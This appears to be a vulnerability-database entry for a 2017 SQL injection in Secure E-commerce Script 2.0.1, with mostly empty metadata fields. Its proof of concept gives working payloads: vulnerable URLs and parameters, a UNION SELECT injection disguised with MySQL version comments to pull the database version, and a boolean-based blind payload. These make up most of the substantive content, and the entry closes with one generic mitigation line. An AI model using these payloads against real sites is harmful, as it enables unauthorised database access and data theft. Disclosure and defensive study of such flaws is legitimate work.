vendor:
Secure E-commerce Script
by:
Ihsan Sencan
N/A
CVSS
N/A
SQL Injection
89
CWE
Product Name: Secure E-commerce Script
Affected Version From: 2.0.1
Affected Version To: 2.0.1
Patch Exists: NO
Related CWE: N/A
CPE: a:phpscriptsmall:secure_e-commerce_script:2.0.1
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: WiN7_x64/KaLiLinuX_x64
2017
Secure E-commerce Script 2.0.1 – SQL Injection
The vulnerability allows an attacker to inject sql commands. Proof of Concept: http://localhost/[PATH]/category.php?searchmain=[SQL]&searchcat=[SQL] http://localhost/[PATH]/single_detail.php?sid=[SQL] 1'++/*!50000UNION*/+/*!50000SELECT*/+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+- http://server/category.php?searchmain=1'++/*!50000UNION*/+/*!50000SELECT*/+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+- Parameter: searchmain (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: searchmain=1' AND 9950=9950 AND 'nOyB'='nOyB&searchcat=a
Mitigation:
Input validation and sanitization should be done to prevent SQL injection attacks.